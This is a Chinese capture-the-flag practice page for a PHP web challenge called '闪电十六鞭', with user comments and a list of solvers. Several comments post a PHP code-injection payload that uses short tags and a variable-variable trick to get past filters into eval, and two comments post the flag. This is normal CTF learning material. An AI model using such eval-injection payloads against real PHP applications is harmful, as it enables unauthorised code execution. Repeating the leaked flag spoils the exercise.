闪电十六鞭WEB 未解决

分数: 30 金币: 5
题目作者: harry
一  血: dzfdxf2
一血奖励: 3金币
解  决: 2226
提  示: 闪电十六鞭
描  述:
flag{}
评论
YUMEKO 7月前

http://xxxxxxxxxx/?flag=$a='fla9';$a{3}='g';?><?=$$a;?>111111111111111333

回复 0

Daniel2023 8月前

payload: /?flag=$a='fla9';$a{3}='g';?><?=$$a;?>111111111111111111

回复 0

coo1an 1年前

1、长度是年9, 2、利用短标签和替代,<?php echo $flag;?>使用短标签(<? echo $flag;?>,,再继续使用短标签替代echo ,<?= $flag;?> flag=$f=%274lag%27;$f{0}=%27f%27;?%3E%3C?=$$f;?%3E111111111111111111

回复 0

110-没办法 1年前

flag{78062956}

回复 0

wxy1343 1年前

flag{78062956}

回复 0

w登临意 1年前

好难

回复 0

阿Q啊 1年前

但是不精通php不会写,就很难受,只能看别人的writeup的payload

回复 0

阿Q啊 1年前

这题关键在于eval函数,绕过前面几个if的判断条件进入到最后一个if判断条件,由于存在eval函数,可以构造php代码执行,直接输出flag,这题有意思!!

回复 2

哎嘿嘿1314 1年前

牛皮

回复 0

golangboy 2年前

新知识get了

回复 0

WriteUp

image
Leuslu

6 金币

评分(6)

解题动态

似舞夜春 攻破了该题 20小时前
adminasdfg 攻破了该题 1天前
小丁小丁少发神经 攻破了该题 2天前
huy 攻破了该题 5天前
ocean9499 攻破了该题 8天前
桃酥 攻破了该题 12天前
chenduowen 攻破了该题 16天前
18940001335 攻破了该题 18天前
2920670836 攻破了该题 18天前
风雨兼程 攻破了该题 19天前
MaAp1e 攻破了该题 19天前
小猫猫嗷嗷叫 攻破了该题 28天前
whgdzhou 攻破了该题 1月前
LLTVLL 攻破了该题 1月前
docker0w 攻破了该题 1月前
burning321 攻破了该题 1月前
yhcyhc 攻破了该题 1月前
hhh6 攻破了该题 1月前
ir0nman 攻破了该题 1月前
hackmiao 攻破了该题 1月前
问题反馈